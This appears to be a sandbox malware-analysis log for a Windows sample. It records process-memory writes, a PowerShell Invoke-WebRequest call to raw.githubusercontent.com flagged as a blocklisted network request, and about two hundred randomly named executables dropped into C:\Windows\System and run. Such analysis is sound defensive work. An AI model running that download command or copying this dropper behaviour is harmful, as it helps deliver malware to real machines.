PID 4216 wrote to memory of 2548	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	105
PID 4216 wrote to memory of 2548	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	105
PID 4216 wrote to memory of 1600	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	106
PID 4216 wrote to memory of 1600	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	106
PID 4216 wrote to memory of 4916	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	107
PID 4216 wrote to memory of 4916	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	107
PID 4216 wrote to memory of 3496	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	108
PID 4216 wrote to memory of 3496	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	108
PID 4216 wrote to memory of 3816	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	109
PID 4216 wrote to memory of 3816	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	109
PID 4216 wrote to memory of 1684	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	110
PID 4216 wrote to memory of 1684	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	110
PID 4216 wrote to memory of 544	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	111
PID 4216 wrote to memory of 544	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	111
PID 4216 wrote to memory of 4408	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	112
PID 4216 wrote to memory of 4408	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	112
PID 4216 wrote to memory of 4400	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	113
PID 4216 wrote to memory of 4400	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	113
PID 4216 wrote to memory of 3976	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	114
PID 4216 wrote to memory of 3976	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	114
PID 4216 wrote to memory of 460	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	115
PID 4216 wrote to memory of 460	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	115

C:\Users\Admin\AppData\Local\Temp\3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System\zPWcvUF.exe
  C:\Windows\System\zPWcvUF.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\CYxAjdQ.exe
  C:\Windows\System\CYxAjdQ.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\LTZjspG.exe
  C:\Windows\System\LTZjspG.exe
  2⤵
  - Executes dropped EXE
  PID:3340
- C:\Windows\System\GyVurKU.exe
  C:\Windows\System\GyVurKU.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\BRNuWuH.exe
  C:\Windows\System\BRNuWuH.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\sFMzOKt.exe
  C:\Windows\System\sFMzOKt.exe
  2⤵
  - Executes dropped EXE
  PID:4256
- C:\Windows\System\DyZDqnc.exe
  C:\Windows\System\DyZDqnc.exe
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\System\uLGHPUg.exe
  C:\Windows\System\uLGHPUg.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\qPtInBu.exe
  C:\Windows\System\qPtInBu.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\BgCxVYB.exe
  C:\Windows\System\BgCxVYB.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\xDXHrqB.exe
  C:\Windows\System\xDXHrqB.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\CKBTjrV.exe
  C:\Windows\System\CKBTjrV.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\mkSWEVd.exe
  C:\Windows\System\mkSWEVd.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\ADAONEL.exe
  C:\Windows\System\ADAONEL.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\KCMoONn.exe
  C:\Windows\System\KCMoONn.exe
  2⤵
  - Executes dropped EXE
  PID:3292
- C:\Windows\System\YYKyzOA.exe
  C:\Windows\System\YYKyzOA.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\elXtffT.exe
  C:\Windows\System\elXtffT.exe
  2⤵
  - Executes dropped EXE
  PID:1792
- C:\Windows\System\YtHEdDs.exe
  C:\Windows\System\YtHEdDs.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\iudJOow.exe
  C:\Windows\System\iudJOow.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\ZfQLAsp.exe
  C:\Windows\System\ZfQLAsp.exe
  2⤵
  - Executes dropped EXE
  PID:3324
- C:\Windows\System\Ttlwrzr.exe
  C:\Windows\System\Ttlwrzr.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\uAgrGUA.exe
  C:\Windows\System\uAgrGUA.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\HlMPGdx.exe
  C:\Windows\System\HlMPGdx.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\ivWijCi.exe
  C:\Windows\System\ivWijCi.exe
  2⤵
  - Executes dropped EXE
  PID:3496
- C:\Windows\System\itNQYmQ.exe
  C:\Windows\System\itNQYmQ.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\wvBvXoM.exe
  C:\Windows\System\wvBvXoM.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\EKgqbZN.exe
  C:\Windows\System\EKgqbZN.exe
  2⤵
  - Executes dropped EXE
  PID:544
- C:\Windows\System\bTdIQdL.exe
  C:\Windows\System\bTdIQdL.exe
  2⤵
  - Executes dropped EXE
  PID:4408
- C:\Windows\System\ROrKotz.exe
  C:\Windows\System\ROrKotz.exe
  2⤵
  - Executes dropped EXE
  PID:4400
- C:\Windows\System\OkIKFvD.exe
  C:\Windows\System\OkIKFvD.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\uFfVVpu.exe
  C:\Windows\System\uFfVVpu.exe
  2⤵
  - Executes dropped EXE
  PID:460
- C:\Windows\System\lofymVw.exe
  C:\Windows\System\lofymVw.exe
  2⤵
  - Executes dropped EXE
  PID:3992
- C:\Windows\System\jTzeiHE.exe
  C:\Windows\System\jTzeiHE.exe
  2⤵
  - Executes dropped EXE
  PID:4068
- C:\Windows\System\tVJCpUM.exe
  C:\Windows\System\tVJCpUM.exe
  2⤵
  - Executes dropped EXE
  PID:5020
- C:\Windows\System\QkNBZsp.exe
  C:\Windows\System\QkNBZsp.exe
  2⤵
  - Executes dropped EXE
  PID:4836
- C:\Windows\System\kbJvPcJ.exe
  C:\Windows\System\kbJvPcJ.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\DXRitOI.exe
  C:\Windows\System\DXRitOI.exe
  2⤵
  - Executes dropped EXE
  PID:1380
- C:\Windows\System\hGZvkEK.exe
  C:\Windows\System\hGZvkEK.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\fPBbzgT.exe
  C:\Windows\System\fPBbzgT.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\cswNPPG.exe
  C:\Windows\System\cswNPPG.exe
  2⤵
  - Executes dropped EXE
  PID:5068
- C:\Windows\System\FrEENVm.exe
  C:\Windows\System\FrEENVm.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\KFDKFzC.exe
  C:\Windows\System\KFDKFzC.exe
  2⤵
  - Executes dropped EXE
  PID:4552
- C:\Windows\System\WFTmEnW.exe
  C:\Windows\System\WFTmEnW.exe
  2⤵
  - Executes dropped EXE
  PID:1724
- C:\Windows\System\OwywUur.exe
  C:\Windows\System\OwywUur.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\cIKvHti.exe
  C:\Windows\System\cIKvHti.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\AGtOiEb.exe
  C:\Windows\System\AGtOiEb.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\YzXDjVo.exe
  C:\Windows\System\YzXDjVo.exe
  2⤵
  - Executes dropped EXE
  PID:4704
- C:\Windows\System\wgaCpeh.exe
  C:\Windows\System\wgaCpeh.exe
  2⤵
  - Executes dropped EXE
  PID:1112
- C:\Windows\System\TsDWhRr.exe
  C:\Windows\System\TsDWhRr.exe
  2⤵
  - Executes dropped EXE
  PID:3580
- C:\Windows\System\mdgfzKE.exe
  C:\Windows\System\mdgfzKE.exe
  2⤵
  - Executes dropped EXE
  PID:4312
- C:\Windows\System\bcDKjDo.exe
  C:\Windows\System\bcDKjDo.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\JVzBfQf.exe
  C:\Windows\System\JVzBfQf.exe
  2⤵
  - Executes dropped EXE
  PID:3636
- C:\Windows\System\PthGmgX.exe
  C:\Windows\System\PthGmgX.exe
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\System\lQuTrBF.exe
  C:\Windows\System\lQuTrBF.exe
  2⤵
  - Executes dropped EXE
  PID:3624
- C:\Windows\System\BZjcSUR.exe
  C:\Windows\System\BZjcSUR.exe
  2⤵
  - Executes dropped EXE
  PID:3836
- C:\Windows\System\rYCqLZM.exe
  C:\Windows\System\rYCqLZM.exe
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Windows\System\gNcwPGX.exe
  C:\Windows\System\gNcwPGX.exe
  2⤵
  - Executes dropped EXE
  PID:3424
- C:\Windows\System\yRhhTvo.exe
  C:\Windows\System\yRhhTvo.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\fJoPHzl.exe
  C:\Windows\System\fJoPHzl.exe
  2⤵
  - Executes dropped EXE
  PID:212
- C:\Windows\System\nhbRCwo.exe
  C:\Windows\System\nhbRCwo.exe
  2⤵
  - Executes dropped EXE
  PID:4112
- C:\Windows\System\yykIDNR.exe
  C:\Windows\System\yykIDNR.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\FhHkxlJ.exe
  C:\Windows\System\FhHkxlJ.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\eubfgNQ.exe
  C:\Windows\System\eubfgNQ.exe
  2⤵
  - Executes dropped EXE
  PID:988
- C:\Windows\System\yJYccSF.exe
  C:\Windows\System\yJYccSF.exe
  2⤵
  - Executes dropped EXE
  PID:3940
- C:\Windows\System\SKpMgHa.exe
  C:\Windows\System\SKpMgHa.exe
  2⤵
  PID:436
- C:\Windows\System\SOUsAAh.exe
  C:\Windows\System\SOUsAAh.exe
  2⤵
  PID:1532
- C:\Windows\System\XxXwaMx.exe
  C:\Windows\System\XxXwaMx.exe
  2⤵
  PID:1608
- C:\Windows\System\yldUdDk.exe
  C:\Windows\System\yldUdDk.exe
  2⤵
  PID:1376
- C:\Windows\System\nePZASB.exe
  C:\Windows\System\nePZASB.exe
  2⤵
  PID:2384
- C:\Windows\System\biOXJOF.exe
  C:\Windows\System\biOXJOF.exe
  2⤵
  PID:448
- C:\Windows\System\TgldFVL.exe
  C:\Windows\System\TgldFVL.exe
  2⤵
  PID:3772
- C:\Windows\System\elHhGRz.exe
  C:\Windows\System\elHhGRz.exe
  2⤵
  PID:1544
- C:\Windows\System\JNzEmrp.exe
  C:\Windows\System\JNzEmrp.exe
  2⤵
  PID:4212
- C:\Windows\System\TcHswcC.exe
  C:\Windows\System\TcHswcC.exe
  2⤵
  PID:556
- C:\Windows\System\GqKIKhs.exe
  C:\Windows\System\GqKIKhs.exe
  2⤵
  PID:388
- C:\Windows\System\BRmErRj.exe
  C:\Windows\System\BRmErRj.exe
  2⤵
  PID:2280
- C:\Windows\System\wlwTzxe.exe
  C:\Windows\System\wlwTzxe.exe
  2⤵
  PID:228
- C:\Windows\System\iKHyxub.exe
  C:\Windows\System\iKHyxub.exe
  2⤵
  PID:2976
- C:\Windows\System\UWFoQEO.exe
  C:\Windows\System\UWFoQEO.exe
  2⤵
  PID:940
- C:\Windows\System\jVuyiHV.exe
  C:\Windows\System\jVuyiHV.exe
  2⤵
  PID:2876
- C:\Windows\System\VRctwrb.exe
  C:\Windows\System\VRctwrb.exe
  2⤵
  PID:4232
- C:\Windows\System\EkiwsJT.exe
  C:\Windows\System\EkiwsJT.exe
  2⤵
  PID:4344
- C:\Windows\System\cEREwOP.exe
  C:\Windows\System\cEREwOP.exe
  2⤵
  PID:536
- C:\Windows\System\nFzYoVX.exe
  C:\Windows\System\nFzYoVX.exe
  2⤵
  PID:224
- C:\Windows\System\jypdXfe.exe
  C:\Windows\System\jypdXfe.exe
  2⤵
  PID:732
- C:\Windows\System\uNjUBVc.exe
  C:\Windows\System\uNjUBVc.exe
  2⤵
  PID:2152
- C:\Windows\System\RaLCqdR.exe
  C:\Windows\System\RaLCqdR.exe
  2⤵
  PID:3032
- C:\Windows\System\GaDVICf.exe
  C:\Windows\System\GaDVICf.exe
  2⤵
  PID:1536
- C:\Windows\System\KlimrCQ.exe
  C:\Windows\System\KlimrCQ.exe
  2⤵
  PID:4932
- C:\Windows\System\eWzfKud.exe
  C:\Windows\System\eWzfKud.exe
  2⤵
  PID:3336
- C:\Windows\System\yEsRqPj.exe
  C:\Windows\System\yEsRqPj.exe
  2⤵
  PID:2216
- C:\Windows\System\wQtugxR.exe
  C:\Windows\System\wQtugxR.exe
  2⤵
  PID:5132
- C:\Windows\System\XNZMGzy.exe
  C:\Windows\System\XNZMGzy.exe
  2⤵
  PID:5164
- C:\Windows\System\SFVrWXc.exe
  C:\Windows\System\SFVrWXc.exe
  2⤵
  PID:5204
- C:\Windows\System\aOABLmp.exe
  C:\Windows\System\aOABLmp.exe
  2⤵
  PID:5240
- C:\Windows\System\qlmCiDS.exe
  C:\Windows\System\qlmCiDS.exe
  2⤵
  PID:5292
- C:\Windows\System\RtMgtLL.exe
  C:\Windows\System\RtMgtLL.exe
  2⤵
  PID:5316
- C:\Windows\System\qTqhoOX.exe
  C:\Windows\System\qTqhoOX.exe
  2⤵
  PID:5344
- C:\Windows\System\NPEuwEC.exe
  C:\Windows\System\NPEuwEC.exe
  2⤵
  PID:5372
- C:\Windows\System\MOltGWi.exe
  C:\Windows\System\MOltGWi.exe
  2⤵
  PID:5400
- C:\Windows\System\IPWCrhu.exe
  C:\Windows\System\IPWCrhu.exe
  2⤵
  PID:5428
- C:\Windows\System\QiHCZQX.exe
  C:\Windows\System\QiHCZQX.exe
  2⤵
  PID:5452
- C:\Windows\System\lcUhBdJ.exe
  C:\Windows\System\lcUhBdJ.exe
  2⤵
  PID:5484
- C:\Windows\System\oHfCHOz.exe
  C:\Windows\System\oHfCHOz.exe
  2⤵
  PID:5512
- C:\Windows\System\KfsZjeY.exe
  C:\Windows\System\KfsZjeY.exe
  2⤵
  PID:5540
- C:\Windows\System\Hdbqlyt.exe
  C:\Windows\System\Hdbqlyt.exe
  2⤵
  PID:5584
- C:\Windows\System\LTuZEzK.exe
  C:\Windows\System\LTuZEzK.exe
  2⤵
  PID:5612
- C:\Windows\System\UxamHfE.exe
  C:\Windows\System\UxamHfE.exe
  2⤵
  PID:5628
- C:\Windows\System\TONoxza.exe
  C:\Windows\System\TONoxza.exe
  2⤵
  PID:5648
- C:\Windows\System\lGXGsRf.exe
  C:\Windows\System\lGXGsRf.exe
  2⤵
  PID:5684
- C:\Windows\System\nToWeFZ.exe
  C:\Windows\System\nToWeFZ.exe
  2⤵
  PID:5712
- C:\Windows\System\hQerAWn.exe
  C:\Windows\System\hQerAWn.exe
  2⤵
  PID:5740
- C:\Windows\System\GrkJHWZ.exe
  C:\Windows\System\GrkJHWZ.exe
  2⤵
  PID:5772
- C:\Windows\System\WpBqMuu.exe
  C:\Windows\System\WpBqMuu.exe
  2⤵
  PID:5804
- C:\Windows\System\dSABLTd.exe
  C:\Windows\System\dSABLTd.exe
  2⤵
  PID:5824
- C:\Windows\System\cyqYJBz.exe
  C:\Windows\System\cyqYJBz.exe
  2⤵
  PID:5840
- C:\Windows\System\zldxJAf.exe
  C:\Windows\System\zldxJAf.exe
  2⤵
  PID:5860
- C:\Windows\System\plGBHvb.exe
  C:\Windows\System\plGBHvb.exe
  2⤵
  PID:5904
- C:\Windows\System\xrIEVPF.exe
  C:\Windows\System\xrIEVPF.exe
  2⤵
  PID:5940
- C:\Windows\System\rUofyvP.exe
  C:\Windows\System\rUofyvP.exe
  2⤵
  PID:5964
- C:\Windows\System\XLjGtFK.exe
  C:\Windows\System\XLjGtFK.exe
  2⤵
  PID:6016
- C:\Windows\System\TLmTVtq.exe
  C:\Windows\System\TLmTVtq.exe
  2⤵
  PID:6036
- C:\Windows\System\sVjnyJD.exe
  C:\Windows\System\sVjnyJD.exe
  2⤵
  PID:6052
- C:\Windows\System\nQVYmnS.exe
  C:\Windows\System\nQVYmnS.exe
  2⤵
  PID:6080
- C:\Windows\System\QZjyboj.exe
  C:\Windows\System\QZjyboj.exe
  2⤵
  PID:6096
- C:\Windows\System\nnLlsRK.exe
  C:\Windows\System\nnLlsRK.exe
  2⤵
  PID:6140
- C:\Windows\System\lGCDIPM.exe
  C:\Windows\System\lGCDIPM.exe
  2⤵
  PID:5196
- C:\Windows\System\rJOWAAg.exe
  C:\Windows\System\rJOWAAg.exe
  2⤵
  PID:5280
- C:\Windows\System\FVCcczK.exe
  C:\Windows\System\FVCcczK.exe
  2⤵
  PID:5364
- C:\Windows\System\YBuKZAb.exe
  C:\Windows\System\YBuKZAb.exe
  2⤵
  PID:5416
- C:\Windows\System\NBczUdI.exe
  C:\Windows\System\NBczUdI.exe
  2⤵
  PID:5460
- C:\Windows\System\ObdkaWr.exe
  C:\Windows\System\ObdkaWr.exe
  2⤵
  PID:5500
- C:\Windows\System\ekbxbpz.exe
  C:\Windows\System\ekbxbpz.exe
  2⤵
  PID:5536
- C:\Windows\System\KWFszTA.exe
  C:\Windows\System\KWFszTA.exe
  2⤵
  PID:5596
- C:\Windows\System\vbnYaMu.exe
  C:\Windows\System\vbnYaMu.exe
  2⤵
  PID:5676
- C:\Windows\System\YUgdcqq.exe
  C:\Windows\System\YUgdcqq.exe
  2⤵
  PID:5760
- C:\Windows\System\EHuFjHf.exe
  C:\Windows\System\EHuFjHf.exe
  2⤵
  PID:5852
- C:\Windows\System\vXfdgGF.exe
  C:\Windows\System\vXfdgGF.exe
  2⤵
  PID:5956
- C:\Windows\System\RzcheMo.exe
  C:\Windows\System\RzcheMo.exe
  2⤵
  PID:6004
- C:\Windows\System\tsRmhEj.exe
  C:\Windows\System\tsRmhEj.exe
  2⤵
  PID:6048
- C:\Windows\System\czFsHhw.exe
  C:\Windows\System\czFsHhw.exe
  2⤵
  PID:6116
- C:\Windows\System\sckKbqL.exe
  C:\Windows\System\sckKbqL.exe
  2⤵
  PID:5328
- C:\Windows\System\vVmCVxU.exe
  C:\Windows\System\vVmCVxU.exe
  2⤵
  PID:5444
- C:\Windows\System\YUyFJcv.exe
  C:\Windows\System\YUyFJcv.exe
  2⤵
  PID:5564
- C:\Windows\System\BIeRHcX.exe
  C:\Windows\System\BIeRHcX.exe
  2⤵
  PID:5636
- C:\Windows\System\ZBMDjiA.exe
  C:\Windows\System\ZBMDjiA.exe
  2⤵
  PID:5892
- C:\Windows\System\IDYzRED.exe
  C:\Windows\System\IDYzRED.exe
  2⤵
  PID:5992
- C:\Windows\System\iazWyTY.exe
  C:\Windows\System\iazWyTY.exe
  2⤵
  PID:5300
- C:\Windows\System\WlsCmbC.exe
  C:\Windows\System\WlsCmbC.exe
  2⤵
  PID:1208
- C:\Windows\System\WajsmcT.exe
  C:\Windows\System\WajsmcT.exe
  2⤵
  PID:5752
- C:\Windows\System\nWydvfV.exe
  C:\Windows\System\nWydvfV.exe
  2⤵
  PID:6000
- C:\Windows\System\LvMSxlt.exe
  C:\Windows\System\LvMSxlt.exe
  2⤵
  PID:1844
- C:\Windows\System\DYjAkoW.exe
  C:\Windows\System\DYjAkoW.exe
  2⤵
  PID:528
- C:\Windows\System\ingOIIP.exe
  C:\Windows\System\ingOIIP.exe
  2⤵
  PID:6160
- C:\Windows\System\xvTrEJO.exe
  C:\Windows\System\xvTrEJO.exe
  2⤵
  PID:6204
- C:\Windows\System\GBKpPzr.exe
  C:\Windows\System\GBKpPzr.exe
  2⤵
  PID:6232
- C:\Windows\System\CtNVLUL.exe
  C:\Windows\System\CtNVLUL.exe
  2⤵
  PID:6260
- C:\Windows\System\jFUtgGh.exe
  C:\Windows\System\jFUtgGh.exe
  2⤵
  PID:6288
- C:\Windows\System\FnnfPUX.exe
  C:\Windows\System\FnnfPUX.exe
  2⤵
  PID:6304
- C:\Windows\System\tcdUuZa.exe
  C:\Windows\System\tcdUuZa.exe
  2⤵
  PID:6332
- C:\Windows\System\sghHFoE.exe
  C:\Windows\System\sghHFoE.exe
  2⤵
  PID:6376
- C:\Windows\System\tHOHjXs.exe
  C:\Windows\System\tHOHjXs.exe
  2⤵
  PID:6404
- C:\Windows\System\wzzVcPw.exe
  C:\Windows\System\wzzVcPw.exe
  2⤵
  PID:6424
- C:\Windows\System\cwSCwWv.exe
  C:\Windows\System\cwSCwWv.exe
  2⤵
  PID:6448
- C:\Windows\System\jhywiUh.exe
  C:\Windows\System\jhywiUh.exe
  2⤵
  PID:6484
- C:\Windows\System\synFjrs.exe
  C:\Windows\System\synFjrs.exe
  2⤵
  PID:6512
- C:\Windows\System\bkcsZrz.exe
  C:\Windows\System\bkcsZrz.exe
  2⤵
  PID:6540
- C:\Windows\System\TwdtAZt.exe
  C:\Windows\System\TwdtAZt.exe
  2⤵
  PID:6568
- C:\Windows\System\zTOWboF.exe
  C:\Windows\System\zTOWboF.exe
  2⤵
  PID:6584
- C:\Windows\System\eubdQlw.exe
  C:\Windows\System\eubdQlw.exe
  2⤵
  PID:6604
- C:\Windows\System\ZLvHExy.exe
  C:\Windows\System\ZLvHExy.exe
  2⤵
  PID:6648
- C:\Windows\System\xOjEQxk.exe
  C:\Windows\System\xOjEQxk.exe
  2⤵
  PID:6668
- C:\Windows\System\ctHLqIq.exe
  C:\Windows\System\ctHLqIq.exe
  2⤵
  PID:6684
- C:\Windows\System\ZziDtsL.exe
  C:\Windows\System\ZziDtsL.exe
  2⤵
  PID:6720
- C:\Windows\System\parKsnp.exe
  C:\Windows\System\parKsnp.exe
  2⤵
  PID:6740
- C:\Windows\System\FmBnfjt.exe
  C:\Windows\System\FmBnfjt.exe
  2⤵
  PID:6780
- C:\Windows\System\OHbvzsm.exe
  C:\Windows\System\OHbvzsm.exe
  2⤵
  PID:6808
- C:\Windows\System\deYdhld.exe
  C:\Windows\System\deYdhld.exe
  2⤵
  PID:6832
- C:\Windows\System\yPYOLbL.exe
  C:\Windows\System\yPYOLbL.exe
  2⤵
  PID:6860
- C:\Windows\System\KPaoEgl.exe
  C:\Windows\System\KPaoEgl.exe
  2⤵
  PID:6896
- C:\Windows\System\UvsnZIH.exe
  C:\Windows\System\UvsnZIH.exe
  2⤵
  PID:6920
- C:\Windows\System\RCKlNrb.exe
  C:\Windows\System\RCKlNrb.exe
  2⤵
  PID:6952
- C:\Windows\System\dVqYBUM.exe
  C:\Windows\System\dVqYBUM.exe
  2⤵
  PID:6976
- C:\Windows\System\uSyoZgo.exe
  C:\Windows\System\uSyoZgo.exe
  2⤵
  PID:6996
- C:\Windows\System\KRLJqCM.exe
  C:\Windows\System\KRLJqCM.exe
  2⤵
  PID:7020
- C:\Windows\System\avrTwTI.exe
  C:\Windows\System\avrTwTI.exe
  2⤵
  PID:7052
- C:\Windows\System\nzajZfT.exe
  C:\Windows\System\nzajZfT.exe
  2⤵
  PID:7096
- C:\Windows\System\mrobngD.exe
  C:\Windows\System\mrobngD.exe
  2⤵
  PID:7116
- C:\Windows\System\lqFKXPq.exe
  C:\Windows\System\lqFKXPq.exe
  2⤵
  PID:7144
- C:\Windows\System\CZEDVaC.exe
  C:\Windows\System\CZEDVaC.exe
  2⤵
  PID:5248
- C:\Windows\System\NnNqliM.exe
  C:\Windows\System\NnNqliM.exe
  2⤵
  PID:6248
- C:\Windows\System\FHgpUZM.exe
  C:\Windows\System\FHgpUZM.exe
  2⤵
  PID:6368
- C:\Windows\System\jLsxpll.exe
  C:\Windows\System\jLsxpll.exe
  2⤵
  PID:6412
- C:\Windows\System\NBQHOKG.exe
  C:\Windows\System\NBQHOKG.exe
  2⤵
  PID:6524
- C:\Windows\System\BWYBVPh.exe
  C:\Windows\System\BWYBVPh.exe
  2⤵
  PID:6612
- C:\Windows\System\uVHwxaO.exe
  C:\Windows\System\uVHwxaO.exe
  2⤵
  PID:6620
- C:\Windows\System\BpXZpUH.exe
  C:\Windows\System\BpXZpUH.exe
  2⤵
  PID:6680
- C:\Windows\System\BWNpOGz.exe
  C:\Windows\System\BWNpOGz.exe
  2⤵
  PID:6804
- C:\Windows\System\PRBzltr.exe
  C:\Windows\System\PRBzltr.exe
  2⤵
  PID:6872
- C:\Windows\System\YarUvjL.exe
  C:\Windows\System\YarUvjL.exe
  2⤵
  PID:6912
- C:\Windows\System\PEXfaUQ.exe
  C:\Windows\System\PEXfaUQ.exe
  2⤵
  PID:6964
- C:\Windows\System\MLLZLZR.exe
  C:\Windows\System\MLLZLZR.exe
  2⤵
  PID:7036
- C:\Windows\System\ymdIeGV.exe
  C:\Windows\System\ymdIeGV.exe
  2⤵
  PID:7108
- C:\Windows\System\gLlMVSn.exe
  C:\Windows\System\gLlMVSn.exe
  2⤵
  PID:5580
- C:\Windows\System\icdGHUj.exe
  C:\Windows\System\icdGHUj.exe
  2⤵
  PID:6284
- C:\Windows\System\XKpzPEq.exe
  C:\Windows\System\XKpzPEq.exe
  2⤵
  PID:6496
- C:\Windows\System\ttBcfLG.exe
  C:\Windows\System\ttBcfLG.exe
  2⤵
  PID:6656
- C:\Windows\System\TkseMMC.exe
  C:\Windows\System\TkseMMC.exe
  2⤵
  PID:6768
- C:\Windows\System\xDtbATi.exe
  C:\Windows\System\xDtbATi.exe
  2⤵
  PID:376
- C:\Windows\System\prRYyOl.exe
  C:\Windows\System\prRYyOl.exe
  2⤵
  PID:7092
- C:\Windows\System\RASAvhH.exe
  C:\Windows\System\RASAvhH.exe
  2⤵
  PID:7160
- C:\Windows\System\tDcMzXM.exe
  C:\Windows\System\tDcMzXM.exe
  2⤵
  PID:6792
- C:\Windows\System\WufZqPv.exe
  C:\Windows\System\WufZqPv.exe
  2⤵
  PID:6064
- C:\Windows\System\WXQWRJp.exe
  C:\Windows\System\WXQWRJp.exe
  2⤵
  PID:6884
- C:\Windows\System\FKbqDKX.exe
  C:\Windows\System\FKbqDKX.exe
  2⤵
  PID:7188
- C:\Windows\System\PGzNJcc.exe
  C:\Windows\System\PGzNJcc.exe
  2⤵
  PID:7212
- C:\Windows\System\AcmTkIo.exe
  C:\Windows\System\AcmTkIo.exe
  2⤵
  PID:7240
- C:\Windows\System\EanrbBS.exe
  C:\Windows\System\EanrbBS.exe
  2⤵
  PID:7264
- C:\Windows\System\PkBPjCO.exe
  C:\Windows\System\PkBPjCO.exe
  2⤵
  PID:7284
- C:\Windows\System\YRgdXjT.exe
  C:\Windows\System\YRgdXjT.exe
  2⤵
  PID:7324
- C:\Windows\System\cKplZpo.exe
  C:\Windows\System\cKplZpo.exe
  2⤵
  PID:7352
- C:\Windows\System\HBbzgyp.exe
  C:\Windows\System\HBbzgyp.exe
  2⤵
  PID:7380
- C:\Windows\System\gncZtgE.exe
  C:\Windows\System\gncZtgE.exe
  2⤵
  PID:7400
- C:\Windows\System\zdWduia.exe
  C:\Windows\System\zdWduia.exe
  2⤵
  PID:7424
- C:\Windows\System\fSDeEeB.exe
  C:\Windows\System\fSDeEeB.exe
  2⤵
  PID:7464
